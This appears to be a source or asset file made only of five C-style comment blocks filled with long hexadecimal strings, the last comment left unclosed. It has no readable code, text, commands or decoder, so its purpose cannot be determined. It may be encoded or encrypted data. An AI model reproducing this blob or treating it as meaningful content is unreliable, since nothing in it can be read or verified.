/*16084ca98874b31e68dbe74b7525e6a9779dd8f771ecb44554bf6e0bf556f2916164cecd25c7a6a52d297fd3d1d63d7c8fa358fde6c57bd3e69bd25e8822cdcb1ef9d41e2aea819a7c035cc126aa987d63343001aa07254011de7645539f25d4bbfc032673d1fd40f3c47c358d04514fc1bd62e705b364dca02e2a222b7ea87410b2d759800447bf8498c04ef970e7b17e7b0b26421cf780c2f8a9a9524699f6cf572f86d740968f9544e75a61fd65e7f3dfcea92ecb7f3802cf52c2157f11f8647e0d9aabeed95994ecd2536c9997122539e6016345430c889dfc651ce0d3af0f09533f7ccd558b6a391bb36bab7e95fda1e4e38477053cf4a529d28e72f55a043f491ef7efeca979233b840b0f826a754474fb4e66fa58e7ff81c705459f0692925dd79385d2106714aee32f4fcde6bbfcea850bcaf027c66dd2ea68e7bfd636dda9035fa4f201a113c281b1f4d7cae5f011d26bc57788470c19b5d0f5cf9a9de1a5f39561ab2f443544767180cd80289322d2cfcd2cba5e8a1ac2e00e39eb08ede9b072dd57ffed0aab4f5d71574f5f24d6c36872b227ee55c6c2b9a9af59ac77cc6c194fe112eecdf8a3ec5925c1b79a15e3da00349374cf278e895bde3644dd9f084210f9649aed46937df19df4cd42ea6a8db694dc31edf205384f70895b7303ae4eb7e177a11581cc1aee885722f01979880b209aad44bcf7cfd3116a750853a0f80280058747e957c48579d2b72b40cb8ecc94b9528230b433563cce5df16fb0915e945e3abb6b856e04ca38a1576ed3aa93d0fe708707640779aefda0ec66a707e4c0a3be13eeca06faa806c33e824773063c02f5f434ecf15a420d84b2c77195148541bf79f091e6854d498915c022a6017803e371486645ec0b882562bae244e0ecbf36b61da3b413b0e5df6499eddeb9119aa6cf6d8c815df35ade6e7b1fe5fc17e452f8b9719c98b0f3d5f4d1b69ceea4b5c8c70f6c1bad193598b85423a7ad5d1eb434644a00ed658d00b77658540e6f94c004cd750e208a5d0ee012eb70c6031c2930c004a4edfa2b65a58e84aac49b2cfefaee8bf202d6e85e0c293615bf3e8f273831b634aad71dcbcf5498db35d9f6155aca2e8ad774e40da1702b20da96316349d3397cf67ec21970e48fa0fc63a8d523472d46a97a26afacde1768367352707656fd16f28c8075ce7c6eaeb16bd19b061cb75eafe779eeff9f7334a1d22afde6d6f6b782ed935f55b06c15eac48b48c504832fe89b8544c2a92dcb9abc30bfd5ebb2aaf513d48fc565682746b433e4fb24dc5187bae3ac7e22bea469d590e57dbaadd25f20bdb982117a42c480bc2b999c961ba5886c9a06a95460fd7cf29c3ca134d3929e439f59d2f1dda52b8d9c2c943ab04b0135868d0e1cd161e2595d74dfc9ef022587819a752860ec6e1e387fd404723760f587dad04f81c8974b7ae538e263f65f815868bd9a25d589341be24fd7d1ef4679e9a90b085914bff7d5db372ad27d94e8a39713e62d173199802906fb629b13564877976037f3aade5878e0bf14684f5b9ecda0050f2a3dfdd5799b9b5c661d790137b039e1f6b13da0cfeab5ae822469636bf34027653d78adc672f4df6ee4674a2a4d5a46ac0f78dab8f22ef106fe672c10e9ae0505722049a56ae776b28653a848777460b79c7ef9cb1eaff155ebc4b0862ac2469824109b098aa533e11cff3cbf1d9c4c5e9e11f00954538f5b3615016c7388e8268386575a76ae0170a3797132c0eca8c581cabb51a62cf13ac65dd247ed507a091caa3ecf42279acc7fef86870878012cc90af1e56e1c88e78327166065a94a64a6fa10c65550eefedbc7fc4af60021546f12b965b21dfb7a2e5b468942f84d1f85c8cfb0f27c1ffec47934b2e38299ec15960c2924c98f1e32703201ef9524c7a29f03907c89e22adc12a0a2613f73255fbd4b4c8b12cd71152b6a8389e72e5d8b326d1286d4a02ac3917340f15c5e0704a5f80bd9f5e7888fc2cd7aa0386025ebdf3b132659a063c19125dec20d47f1716ac53406b2880e069a32a22b0f5415652437db3b170a9b0833697e28e699ad11d888fdfc8264e7d8efa5b894e63966845ea35f5fb7c9128a9b7791521f946e0e16ed75091925f1c3006f3e5f937c21dd8c96769eb3235b940979932e9a9117c0bc55119c25cf5f54b2ed19a5d89e0aed0f6132704a43714e42d8ba111b8da47ce690c020db30b193339262d27f127f21d00b631ee933b18f7f8f5ad1d543de2df797aacd9a459302710a5078fbfc70a016ccbec8888095bc18197efecfc17d6193430d34f3bb3fe41612118d51ab07b7f3beb4fdbf5f327916b7fa328a95b875db0250ca29a0ab7dd06bb4e2c416883604952440d493a8fb8bd054299840532c64b4b4127039f42667f911c76ddf1f6b71d5f5f31b675aba0a65adb7b01e559524a5fd08932815801f7659bf8cd5b5ed8774ece3a2d0cb163ad6f4c3a3f411a19bd4e17a4200057c32a0ac440bf38a738948be9e5d76b1240ac9cda4657f41a7725acf599d4877f3bda52ba1d28f2ab9c6adab4d520fc066a100b0248ee589002f52afd23151c9bbea1b0caa89980cc70f3a846874f6cba64b6ea9dca7148e5272c664652f26fd65f309044b61197229f8a95a8d20f6436ad51b51dac25ed4799d634e35fde3eb85ed74600877d1c2d4128751c60316ab2fec8d1f89d51833d2f7cc2cdc441766dfc4a923733ee6f406ac7e8dbe8bc651369954cc4939f35d08185e9a991e8b95f7f5d61beda9399d583574f4f6c0092cf819d25d02e010d74d073046b591b93a52f6*/
/*b6e9b16882f6793db3d45e3042091e5b3550992b0a7da152c5717ddc5c5c5fa01077c676fb0304144fbfdf989ee530205f70bb15813ba7a069eef5f3b6f44e9332fcecf6a23bd3d3e451ae9a73e4f4f0a012362d9cd767419078820313b9625c90ca7fdbe7e779023a1a7172e4c3756ed07123a9e642b816d64c077eac28444bed21ff9396cb99f8064f3743b2947134aacaf686be3ca7ad1260b0c3f6b53c4075addd745a88126313946edd18a226a4fc9062a984551238edf7456f971c5022de03c55f2333d606dfcb28015f1ff554f0c55b728d8ad279dfd52bee9c8b6c49c2ed71f4f2fe7bc9fba0bea036d4003830bb7ec0110589a8ce1fabdfc840c352c64ad3a4c605971ec0f6a7d9730d8e78738ec71ebd95f6313e604660db5124ca25768ea50723a82cf9c7b5efb1b799dc332638e40bb4e87ed7cddb901da889c78ee389ac021e3d5a31febae97aad21a530e6da34ab1cd0cfdb401e111716a1ad449379e09e77296ab19d985909cf4a98d5b1002a9131c8d2d102b24080a89a281e35bfea158292b7c9b63c25c2f08b794f0acca8fc5e209f5167e91c3c7bc032dda44bfbe858e0a0cea7abfc84a3ec97dfc33438d7757b3c7c25e76a20e7f0a970e5f080039b4a57917e51b25a24e890717a3263edf6eb9eb212ef10b2bd227d2547c8332a109976c18e05ee566fd1413b5e0089e78ad978541e693e5e5732e5a015bab1a45b439434e3c416becd9fc96b187e57b9816b5b9e797e4bf95fa46aa6ba18d5734f6e11a8a594b882fe6ffef2730f7b31d29ab231b2c3fa38c3043a976698e12008c0b1b3637706bd55b96f9806e3b5a2f6478087423741d7b3956d491494b604d0338c8c1c7bafcf8afaf4f248a039e0134f14d2c6096c96f1d8a14f6d29e38e00d420d19065f7b7a9d2161ce94c1e28ec4c3a3ea9f7ffc1ae8afd656dfc75de2a683325158a431f331d9e562bb9f157ddc1bb35196ac9985d2a172b975e42f414e38b07d6159d871e0289df42d8dc8fb95263f5e6e132e86beb67ed9a80bf7152e95d7ecc8d9ae9dfb781edc4ed1cd08e20ad720e18659aa279969a041f4a252f19762d6540c00b85a2b99a61a51a55347b1cdd589061099250143addc9249ab80a488f612b2112e1fd81ed32b042b5814232c1024bca8dee2f7f33afc974b3d53647b19735ee52ef6e6a1218146fe84d50d5b5a274ecc7e138e182687a7cc933bc860e7b516e6a35c0a5e6973d89b1c2fddd876d239e08dbe55be225fe570a80e54fba06bd9755d15039ff61e440381d18f23acde89cf840f7ad4331a83f04fd0e5bccb8a61b512d276f89c2d072f042cefe6d6ad8ff45790a7cd1e08e83e4c9c9a5d9a9981e0ac07ab204814f8c8d56457f1f5d6dc859dec34d4ef5b7a1a308122311a011a65d1fa626c8a204e149b5edf023058506a2dd079758039ed85c900134855078691e15d3d24e911e487af753c4a506db522ca2f5773f68a54489c69ab1fdf7f19d47249f007b9349449e4950a277ee9f30b8703cbaeabf496a2686169c086a4795027975c26067ff29570fff80627ba000513ca366959e457f61ee8ec436083c058256046cde54b827e428a096fdf68e9b14ad72e79084ef19dcd0544b47f22350b20f58b1c0f438d166bd8bc6a25019234fd7d604b771fed7b6e3f64fedaef35068bcd27a805c8ca888b7a30ac7200e9bb91054947e791c72e33d36e0abb5aaaa7fd565806d8b8d5f63fdcd596fe899a74ca449b2c51859e23bc3b9bc796511a0d04b3c5151aa4a6d66254a965e6534d7efbd5e36e5530d152906419568c1784ac53ea1442c65968c5dff3017f6ed58be97ee1e36f04b128145d12b1ccd90cb954dcbca86e9911b2a0d19ca6fe4abc063c5c1dd632f1c249e66ba394d77b57b07c0274b63dd21de4f28e016a6d2f14749b27a23060670c42e7dd48ab4bccee13c584e733c3d296ea9c76a58be2926b3cd1254f12c53b8f9083918f218db5f5d1d87bb4233159c0a6738ed2b5587eb93b6b7151ecee037775a3f843b7872ae935124098ff2197c6c1d11800f968c419ff9c8627d4f817c4a2752a9bf60004c9c52d2dcdb01db76a38617977e298d3365394c58546b47b2cb7d12f6aa0f1524a11846546fc4e4f2c371606217dd584a52c11418820886f743ea2d46e8679e77ac6b97cb21e6b7d731f8c52cd980b46d76fb5a3197b888bd0a31722f2a48a8e59bea54ddbfe0381ee66dd2d22ddf75eddf9d2d839f84a9a52f0ee6c6aa6262c4a2ca04c5af41abbc673914e4ab301fc90d8b03cb0c5992b143c1748b3799da171372e722de56b471aace8f7d9f22a438a403e5420ed708e4171e74ce17b02290d6ab54334a15b045c8d85f08545470866930324bbd8cbff52c070156e93582f54175865194d73a04e3998b51eb251d01f4c9b40be3e5f22bfc696e823bebc79b0be87d437b8cd05062c05b51eabd0a2d28f9a39a77c421fb3f398f59c498a5f58ba7db808496c819dda7b0e44f05f2535ba926802d779fc272d2d0da4eba0835e070c8ac41ca87868ee5596fb933dbf1f2599e731fd2f7ba0ba786ec9e1f1c626402464d525c39ae8530ca00efd4fa70186c958a32cbac65febf8af4f9e937b5cd1d7b592464e45083f8966b14a832efa1481f8fc80aa4c605d44371379f26417e507e1dfce32a20ccfd9d4ea830905824d8f654a642e55ad2716e3096133fc08b311fdafcb00cb1155c2dcbb08751d8febe19a788c3741181b0f533e762a98673b2668f7978e07cb196dabe7ec30e8beca235d8b780f481df612e7aeb66da650d6146376f2b*/
/*aa97cd7eb6bfdcd51d68f7ebbbaf33b2bbd8c8569500796b4a0a9af49a5680a562a4798bf4973df65d4ebecff92fc3c8eb06c2f0b86daeeb01983a23f7e369d10e8a37f1086bf05b98e96c5699c09f5e54dadacbe279b9f3e31c28355998e950e0be9b9b8a75a27db14e576d67d0e2fefa3757b211b49e6b9af42660e02fef231bff10237581a5dc12d1e09c406ce7e8adc3008c8b7e62a239f5c9fc06f8eaa895864baf6c0c72d37557423fad48691dcccf83010145999ed97901b59eea1ee2419f7872a0600ec4945f677bfbb6767eaba84a6d18713ee0c54745bfe988d922e2d6ac743857bf1372767d9a84fb6aabad8533bffd20fc48f53370a8e0a05e0aa504908cd94b67ed18deb065bff962b7f1c93dc728977f8e6735b9c047f66472bf1d4ee144a05307ab74370c3a54b18866cafe1c04bf5a2d93fb4018833d2a6093d6020b3756b8455f671b036f394bbd8c38a14892df5b89c39eff3f519c1d097a812e6c0c37c6f88bf2744631174ff85540b116a6c9436a4803ea71806cb7b466b0fd8724c06f3b3a3d3ba11551e44c2945b94aca4449ab173d8e0fb011e887f85385fc17f8eb43e7d128db9d47eb8e85e4020b2892639cffc93a75a40e25408fd97cbcb503d709272d6ad1d974c5f22447784fa8791dd7dca736dde30584b5875ccaf45ee2ceb17d7bffef1fc7c58807159de16e7b916bd040d40d735745b40f97f92febb0897b77fc523e8dc53106b3e0c10cc3b4a6b6e46588c42feb011a54071d37e3934948f24d175c9beba13257babb6c1c9ff60630bee28fbda7e5ac1ea1889db4b1a105ca542bdf9db57477ae91acec824ea3fb074dcc59b3c3f83c1d05f802c5b32c1903ef1cd4db576ac7b89e2c0726acee6df21a8744417dec6b9a41412d6b5dc675886891cfdb8aa5060ab73910ab3291897e791106f7d381617faf244869dc202ecdb40b9bc7d9bbc7ade0c39405cdfe13a9deffe3e732f60c0089187201b1ef0650bee95fb4318a81dde48a387f9e3a68b710c891788a47eef97da8af465adaa497f0a745f05ce41b15fd339fbe307dd99a567d8e89b95923071de1ebfc2be0534680ccfd472c83a596594d38075f847b04ca15b3a5e2b864cf133b46bfdb7404cfe51429ad1433daaee5d26c0546d6bb10d7de5429ecbea9abd90216de1b52fa0e31af640c59d44e50d910f01a8b904289c5d3783ea3b2ea5f906d488f42d4fd6976fc34632ab576e1dc382e9c56252804b30ecd1f1db770072f74854eec11d72ab4b3b6207e88a7279fd5bb2d3b1b027eca2a7506e6d97c7f4752e75da4b840ef824fbfb3df4e76a2accc6a682f33505736ec39e2ad7523df1ce4ceb18712cd1ce69f7bccb9fdbf42e457b9a3ef4628e30709f7abdc3d42398a2ae52b7d11371363a809522cbf7351fdc259e07c7817b66cc42f82a1058c3a028b2320fb6f406de78adf67666d343010fa96fa7afd0cacb8d5bedfc4d8e5910ac48f85c418e107457222d374a883cf52efa9ffd900a4d8d6584b6e22eb323ffbd48153cb9f1112f7f79dc2d52e85f53ec7228c605bb6e67e99f9a24fd071322d9dd76a84f6879db174724033bd586df866efb8c4a4250073be523dbdc035d0b4a6198db8a30a6e11abfff8f69833873571b1340426141c0b63e482befa260707f21b69c46b38dde57771beaf7db868e74369df325eab626778ccaabd3de32001b6e6792c4266609abcf960c8c290a29934572b3d53424bef54cd2afc3a5fcb9cdfec0e21ae4dcc81364ab0787adef4766b269abc0a6e6c923491a4191bfffe3278caa03abea6212a7fac9fe3b96ec857b68c258ebf1899399fe68385675d560bc742d05e69e8c910dc5894c669862e8824d3dd73ad59b4204f470814e25bd798b0b4bef481c2458bd0807cfd4539f7446b22f1cd3b4815205ebfed173fe4e18f481f9bf0e56e6d3cce446a4296b8ec71676ccd0f0509881bf2ab2e669b98453fa75854419949b90b38109c74e9c8b3745b3630c1a31fa0b8a1d0679f2c587d8ce13ccb4ad9ddbd0526e76508849fe8bd08b8dab71a752955ab78345ccc2749f82b23b8c69601c8f94eb8afda7561be929dfd8e19d25a929a4779a509f0e4b1d7f9789d1b903d2d24677aec5c08f56aace164ec9f7e2a9d4dd4165f4c8c0518d4a79174737d78e7f12b0d813d8de8e5c424404240b2d9a077274d0146357697d53d86ddb8e523763996520898a0fa9f06141f0791d4b3eca2749080462b0800daf71e8e4e6db3b48a9d0b0d9031e7fbfbe9be55f28f19253b9be63ff08c5c20c03ec484675a9bda32de45e3d670215e16e83cff1e0735f85e4409e8a4feb77749083bdbf7fbc5a6616d675f033493defbfd782aae5aafffd26f321987130a1a71bfd7fb515f430accb5a766c4f9087d53535c6710118963d4c19aab448c3b1dca52818ef1bbe6b5f2deeef4f54056cbb8fbfde960c002e217dcadf8753cbb1b53d540e02cb95e5995791303ae23b1f2fe723fc8f4e78958c6f8889842fa929dfbcd78a64228f5cfb8095729ecc733d10a117bd8c41e2da11ab0fc6d8f099d4bdd2bf4e8da1384a668fa1b607f5fd821789c027e6ff4bd7f3fe422091012681dfa67f0a3e022e5e614faa7dabb10f2d8293ce93c766188982790fc4dd68f662a95a047907e9b532ee6e1bf415039a59ea2fcdee4e53825822b441a8e52e7e55a225766aab8e2730f5f1da6e1aed8ee83853b563532b063e37619ed58bd3992736cfb8e14c0125d6d14a48e20cca779517ea95d127f103ee4f355b41db9f02e15bba9372e5d4c66c04d4d0652e746d5*/
/*4e23a68f197c871facc4987ae8561ae94a0302a783b7f8092a5209837adf416993f86b99495fbbfc76d4eb61e10c94ab1bb09b0a68aa60762e46862de677d1d2f33296c6a8c352c2a3c42c535a2489aabf98844097681e304a94776de94ce7d995f3e2a525025d1fbb6a45b944b6ecde9fca145891a92a7c33cbcba1dcc3d246d3d0ce2d8f80017a676b23f6aa0be77876b2ed4e6393032134f3f9d73a80d6489db0b51ee36af4c6f3f8e499b8ab36146c94dcea27131b9060de64056d25f884592a9ab1615510327bfb1a3ea8dceb461e6e259ed1ae8a5ee98fd1f4023cbf676427f46650e5eb315acd587c2be327454885aaf15a84036cffb8fa16f907bb78e0e107d66ebbdfde3c62046ed42ea3f2890744d6743bf76d271c2dc385301b229b3c9cdb1b61680caf3ba5995d76576642c9eac0cf66415dd93cfc8af500c2d87449bddfe717f1290731797e61034bce4f09dcacbe6dda1ee8b70c5435bd0716c321675a0edaecc21a98c1bb8884bf3fda0639dc5bd3fb14f13fccf962c9592bd0936a6626ffdcbfc43222e3039971babd667afe64dcb90813a1d17d4b9b6a68805d8047780c932410a18f90fb0228f3c1ee22833b575030206e80d28c1816de133cbc1f2bbbe7fcc72fa5032cdac43f673c39e2066e670fa34b51fd61c0fe351cc5f3baf5b982bdc26948e5c0b1a163a68cf5d977e99129bfc2e873ba170dc64bd06ffc9a38eee7db9dfa736991dd3a5462d1340887f2db8a5fdcecc44db7b2e07cd2298859304efc31ab7ce0ccf4951340bc5e0d1443bd3092d587d38b9ace2104fae445f9de7898c36f871ffd99f7e119d149b2303acf2ccb787047950dab7a29830f04f5fd23aabe209620b0b1baae0b70745bd3de2fa869a8d9ed23745e293d2a26e545a249c609bae8966056d14510956b18a4a1344d49baead8fa25273933f0d237c00a515905e61fcb0ffee5d5390cc37c73f326aa53f2cca001d6d91472eed9c331a2d892d6b9b3c576d2c0a3dd3f8fe1d127599df50923791a42f3926ecfea88ca5bd4cb4f87bfbc69cc2bfda8f3feccbe1ff10b447bd039a7d37cbfa2b535090761566a019d57616af78ce4861c7b527bf5dedacbee40a7397e4875b8560042a6cf4d295e75219417d2674e844cb71883dea4b23ae9505ca07eba56933c551e93d92a4844799ad2560b37039a7055f76d30b0b9cdbb1b06ff1c9c35572fa2fc77d9c939b7d96ae8917d6645f625e3f0742d02d84180791d41d9207b637efbe142ef4fa7a5431df2f4045ed75314dd1162870ea39be3618667795f144e3f8a49350226afabb6b4cb6b1bf7d70866075e3d11a48b3f9ed79f8b6133139bdb92fd97458e6b3374cebbbecab8a736828e1cb7aa21ce0e3ff5d5e8a974726771dd7466f27894d994e3142d55277dd4d35ea82421f64b50c7bbae94a9550d9f3ead9bba375757482cf1bece27b36bb4a383f246cad5051d64829054cd1ff227331c67f76a1f8e584d27c2e31ec90b34c7611c5d1bfeddd9912c47353bd3042dab591b3d4514a9de9744e0e0f2a0bb6dc1bd09e184c05e95626ba70d466767b62498f12735f54962865f8da409ef7e11f4d89f9181cee89abaf2737046d8a6d2d322810fba4bdd05567f55c181072d966795c26a470bad435bb73dd8b04e5424ae963c6eade22185aea5115dede75de03eb2d0d15bc304e11733b6095a4e59d4ec2aa72963e56ce14475999b720ab3621f62f5de76cf372c66f8306876a9493769ac7d1b3b461316aac07c5eebc1e9d36552e085164ef86d18570e00e3e2eb5cb5a719214d9e16c00664ffaa3bdeb9688f391b919cc11c7237305b5d4358891cff71b0a326b5ddebad4425f46e9423c01b36d42dae40676bc3313034a4a2819a02507140d89cd915f2417975a1bd63708877f814f2a051f13574727ddaecd3f0e854f8eb9785b080a61f688226fd40b398e351e53e0ac21faf3bcd14da4d1a815ea15aecadde88443b3a67ab3e33e871383f5e56a02d247a39b1f0ba462dc696960bd5ed3c519f6ceec676e6688d0f14d6425d99791dfb86cc6396a73d886d5537da28595fe0de64e9fae776bc5da900484d2312eb9154329340aecce505174ab6ae175e3f938420781b28907648fd5f1862e2d3e7b9e34cbcb0e085a4a53e544f3c9c1ab45de959a6f19f0e18b7ded53bf81b70bca0b82e0336d65bd75951a8e106865090b920c6028aa22533b788f390e4d482185d78fba12241aeb84de65e03f8378f1f2aaf582bf6e81d3280490070df711cf035234b2a1a69dd20ceca0765494270d78a4600b0fd74dbcfefc32fa746077f14b3d78ea5581c954488760151ec1f57bd7dcd4283e336ff4fd487e4305fc985f34cec4357d84d691fd32e17958df1bf0d5143ef3cccdee54bddf5e11ea0ce29ffe3494efcc638d917e67e2ea43eb7f9b2c8e173183f4d0a704d8b43eb28047f19316ea13de1588367b48c0e81582130e46263cf6d58abfec07f55bd5fb8318e97ca9f6abc890fdc1688d86c0d2ac7481ed8c6425503135e7acf86dfe28d578f410e2924902d779247d1cec5bac2b69f31bbd4c6a2bfa3717cd177bc89d814a3f783173fcaf0de8f65539239e01256f248a677ed96f00a89cd303a2c4dada46b1cedbdbae929cd50b915c83f149051b1eea2b539f66db79cfaa3ee7fa4add1c34d075170833b70e614300325c61d375c48facdeb2a8a199381436529723744fc346311be326c9dc374909b39402b592bff4dfed30bd4e844df8d9e3d2fd2c34d74db7fca95ed38e0b3d880bd04757e732a3d08e386d3c42410dc*/
/*d3e69e774ab48a7817f64931b13a4e28260cca34d4b0accc360d8bd7fb10a3b82cbd935b939c44daf874ba2b8fc0a480ce7ebc4335b9f3d94c647f48ed03e7613d3c6c3f56abde71e787a40d0b4b155535b7586ea7bb4fae976038876c49cdfd85d8ffeb1e950ac364b7ec5e551704fc3c2b1d2ac5613489eb90b592199228731c2a35adcb179391f5fc2b1182556d33f205108386778192e98bf90860f6e73b2f87ea1f4a7dec0c21cb61d25f42bb374f841157fdb94afaedc660a18627cd81c161300d8e14f225ec3cf69563328673e91809606d18f0ab54b7f45324137323b9d63ab82fb4ea6e80b37e077212de6760acf9405ff5fa1545b4e117b05d3a670aa099d1de5df27864cf936dab90153a8ce3026e662c1b5cbfef546e809fc0aadf58fc353a6d0711089919183c5c95f4577c4d2b59d756a5c3c242cef5338536930929c2c17714c2a8d4a3430e20bd90ce3d432852996510a74a786205d25f15a21c52abd12b0fdd905ad13239b168fa9ff29ec3c0e63c9dc638b2a9b05663a4c4bcc4ac2c4cfad385780166dadeeb636fcbdc18ee5defa6f6f314e63dae09591d444ab813e1815937116d4863c532d513afde6e6c412660b5487755b2b5bea34c866a13d1a1afa12a6ae29a279afe694cd09093434edfaf98f1659372f3b4e2f87ac37df0f298918cb5c20ea87e10ad3ccc1abcfe2579e46bb893ef4156dc23a2ad64b16afe562397ff9a8027d44e5d6a4ad2caf2de6778d48b41ff8f394285a3e42419c16187df174df24e836c789f49dc4866de32142477a868984fec73ed2a6bdb47c0898966ebe5f62668c1cdbaa5012fe4e00a17edb718550d1277dcd1fec31b17c5f01cec2e74e6647e12bc511114f7231055d30afc130a0c843209e572da54350b7f779d27c0b308f74703901607e7c9a502d0043fb3b94905227cff6827e076ae57fff63e705a5c31a9952b5983712f69925e5b7d345880ab4d9e36e58572e9d69e32766f2ed4082968f946a5f7c8f199f3b84d707a3be98d49b085d9399c86bce0826d06ba6c524c67af6c8c0137e64b840f13359b41d5e184fdbb7fb6ab991d6475c5a1da4b096bf53dc97f74d5ec9e6aa0c03634aff5e4040cdf1e78fd629f96d462f36558299e3736a1f72005af2ee06074f5b9ef4115cd0662160af2bd8562445bca8ac0293af8f3fbc5854dde18445d58e8446fe3abae15dd555e5281fbd059541045caf8531ef3edac940133a2948be120da61ca0a04b9a97fdf61bca88c07d474975823371172a5fa3d596793d6f28c4df4b1a0ca7c7616453f931b95a1a07517a45bc7d88c74bade80dd7a999553f713426e7d4196fc5e25ddcc94632a319c52642166cdb17fe1700b5973ae7558813dd745517231c5891c195f541a50694d75c6ab9b9c68ec8fe17364b7a1b68d4003c3aadd1106615185be2619e945cf41876c895d0da8ada0ad7bdc4146ebcc1f752d7a4825ee458d60e72c2bb83a08b3cb1286cb7f8435a675308f069d6335ecd9a2bcd47b5676f08705e88e110ecdd8c5a2e3905f088cdbd3c4c15b41d7c8d89a1b1721091062a654a7de49c1137b651d1e8d3182376b417a39e63f275877406711a16a80309d3de5780f582663d825c5c6eebf39a4cf4b2b7c1beb622c4d093e29564ed88ef8c58b2817a5111b22f81127d3a4ff0f00e293c79f39da3bc0f9207b3a743315f2549b0fa05033f85300f040a6a91b8c61ce2eb751e5611380e4786726aa825d92a3e923d471fbcfb778479f00d178860d56dbfb6db8109d6e8245f3f6d38d9798d69d0fd58f094d3a13b7c5f30bcc268805e2b70ba6ac3db8efa040778e418c392b380d773ecbe175b0886aafdac20d470813e96dde5669919f9c39057f0ba2471d728e8e2746ebe5cd8cccc3a3f6b120dbd33085c434aece01c82b4eb451d09a26f1d47a919f58c3d896f3ce9cd5c629b460e0f9ceaf5ac1b7a48cc809d60ff6947fe8e6de2f3bbf24bdec4213802caaa1b1b5642e3cb258a2116c804a32ba2f549f67e2786b3b525890af1f2b99e3f4b969d5adb984513d21a8eda5362ca514ea1d9ac34b2423ec1e67262c7062bf50e3d2ace8971fb84eaf265fd3b53a9907c3ad6628d224cefd03772895c9217be7cc5f63db81792bc72fe990a897c0be16dc4c1f4f3ea48328a1b7eaceacba09a7bf69299c64e5d32f66532b20ae829e10bb99aa1a227058b565c87adb16afd87ca8680a7293cf2fab1cb0b67e840fe62ba1288afb30f2e81cefd7692183ff78735a565880a0009debebbf2251458eb93085bd0c6a58e6132e8043ad07c7a30b517ebd3077d81a04eb487194b387bc91acff2521709d7ff91d9ea119bdde1a7fdc2a715335fa2f2117e65a54f53527d9781a095bbcb1bec8b971f5d955801d875871c64f57b0302d9833b696fede620b9c3661bc69dbac63145ddf332219db413e0f0ba70d2d8e3b6dbaef4f9bd079b18ee8c3db4b1ae77c1a5e1817d239788aaf7a97c309efa50d08d709561ab3e7df62caded24d6fd4017a57945bd40f0f89e745da2c86352f4509ed1ba2cc0152aa32d955c03e91561a9153c26f1a72bccc50ed71913c03ab960e7e450d1300496b21ef7b43827cd9d91d9512aac28dec67ed8fdb46ad8dcc6f0ea88e4d113390a455273d67c7603bf4e98b9af971cc42eb027a7e1b7bc3d85f5d2e25809863174f88a080d8d463835b70a448303612c0fb183d39f4ec1a6507397c45e3bcc28101a6bb2095f199e72e34847f429856cd06e92a14ed936f3120b6698688741139d9087d4fb18727fe9b69612c3b334891331627*/
/*6b3cff440c1e85bd8b2aabf8d33e24ca724988b33ef20e5df63ea1fabea23f50d48cbb5cf0091b0b20c995a8551a634f5729d07b6aa1257ce573c21be236976170ab292f345fd003347f7b5c515a628ba16d389223c89d90d452db0de14e8aa736176a4fc57f3050d9596b0446dbda9a96c6745846eb1eb9f9e61aa9b84f382fbc983d785cd76b5266e3d66aeb6bfdf1ccd332fbbdd7139ac302f7898221fa72b10edc846960d3e0ec8d18043e2668a5f905527bc941472d0cee7b229003dc7930b8083cc16485ff28c6caa8ac504846c8effe5b436c4247489890472023d1c6811b15f467130a306241b52602af561f50038496ab8472f61ba719d04fa7734d6e4d49f2c97626219c272c6c77de23865964e6c72cdbef0d4488d16fb7e4309fb5ee6a283097a49754be15d09eb47da0f2867c621363f99e7ca65e4138ec1aba2f825ba439bc701489dfde596c884c84c180486a4a556df542c97b29fa9c100cc4f90c13206772a3314f95bf8dd3774709e724becd843fe30c0f5a06fe33054745f283fb6f8916aa4875a4813307ad46db891bdf96b42714b3ab256e009d0f32947dca727d5e2912c9b0fc963dbbc89ee548f680813d97ab7431f31154ebcaaefbf8d19b1c4235ea2b6b3626b38be59ad4107f8cc860859af6d9ef9db92063c68d6cd19973b0f7fac04cc71bdce8ff399d2bc86bf9a4c3b82e0896d7145f088289bc0481c0adbe02b22d73abafcaf2b8cf22bf32e13a9b3c39f9b442d9f4c42de8c17469da8fe9242266b3e3a134bdff8f6e10e45435ce39bc67d3c516f3e7649ba71088496978a5b05ec8a6699c2ac47e6108b5ea7cd9a6a473ba218c142ee4cddade4a141503f45f85dc7b235654caffd0a44f06c5a19b9d0dbe686adb06988fa6e0ff20f52ba0e38d17e9f0e99ae6eec52435db99c9aaf750f00fec2063420b8c6e36c3d0d3bb7d8fd8c59a7baae3e2dc758603a63e3471eececefbfa1fbea82362374770f343bf798a37503368780a5dfbef8c0af69657f0c51fdb7cc0e3413a139eac4a69c334c043941a6e6dc2309167506fe9ee06d93c602ac8bebf4a27595d6e287041b65ca892976bb126005e7f8303482df5c9c27873436b17f6de843f965f29a760a6f1442965df9a6b0366cff808b808ade26638a88bb206bd2cc0ff26c5b5d5d5cdeea28c5ea9667278205adfd57c34b91ed6378060eed64ec4186f3592a8515fcc9a7b8a72dbaa0c675a44bd67b1c6e5c4b8aaed5de74489fa3ba147ac76df3bb35a8e8e41740857cd74b7d13f2ab8cefa566209d072e2f10b0a891d90f1bc54e76e0493f42e320d7d752cf0576d66637469401717f2b6cbfe6b7d88c11ed47872cb43e586e9eb7ee3a6e2d4814b71b7418a69fbedd4b0869533c66ea075964592cc55505a81c06382ac28f92b55875a523aef1db0b951fdf1763b15cc9703f2f9384fa359b774d92cdb5c9b7b9ed12c63b70eaf37c0133dcc984f61bd059d547eed8ffc141b604e1ab18ba9f1aef43111670ff07403f2f846e22b423841211bdf505048f8de541bfaa5112f0c1987f8321657803c44808d05452ad8621a74f04c913314640c4b8357fdb4a670381372b22232630a578ccdd1f81259c2932cb3d3e36dbcf52d21a7bb61e1b6aa1cb8eec0dcc9965106b161543904dc773b6ac4737627d61a7dc08e5aba8197543abe77e27ba2f170eeed55cee84c247b24e33c6c997d781f6d1bd616c007ab8579086d71015368589b8dcf39599da01511cc11846e1933b295742b19b090b0fd14e1ff1400a97fac20122a40bbf04a7dd8c48ea88d69e2b2f76f069283db8bcf635e0790c0d63bdbe11fa2b1358a8157c80e654446bf0f8b505f412ddae77b4da513c5ca3df3b605f66231797772306e3ac5706132bf720e9e21b3f2d577d41d91de0b01f6c49b79bfe37d5b343a2b080fa48959a2878a23f04271c6bbdb35ce94af83a12fe650d305672d27fefac6fef5a68286ce629e040abd721bd621296334384d9cbf1acb05889dcbe349caa104d03e632106ff55ef652bd042dc3fba40c33b989b12389364e5e1eb06c6ba9ba0443ee4691f734e162c1c0f30a5e288f28e1fba22c96540a2fdecd67a2bf9db077add5e8d0df72a327f9752d20c28d80ff8708c551b6f523ab77581002b34b49f5e5d6